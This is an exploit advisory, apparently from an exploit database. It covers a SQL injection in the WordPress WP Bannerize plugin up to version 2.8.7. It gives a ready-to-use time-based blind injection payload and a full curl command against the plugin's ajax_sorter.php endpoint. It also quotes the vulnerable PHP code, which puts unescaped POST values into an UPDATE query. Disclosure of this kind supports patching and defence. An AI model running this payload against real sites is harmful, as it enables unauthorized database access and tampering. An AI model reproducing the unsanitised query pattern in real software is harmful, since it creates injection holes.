28 lines
No EOL
1.1 KiB
Text
28 lines
No EOL
1.1 KiB
Text
# Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
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# Date: 2011-09-22
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# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
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# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
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# Version: 2.8.7 (tested)
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---------------
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PoC (POST data)
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---------------
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http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
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limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
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e.g.
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curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
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---------------
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Vulnerable code
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---------------
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if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
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...
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$limit = intval($_POST['limit']);
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$page_offset = (intval($_POST['offset']) - 1) * $limit;
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foreach($_POST["item"] as $key => $value){
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$sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
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$result = mysql_query($sql);
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}
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} |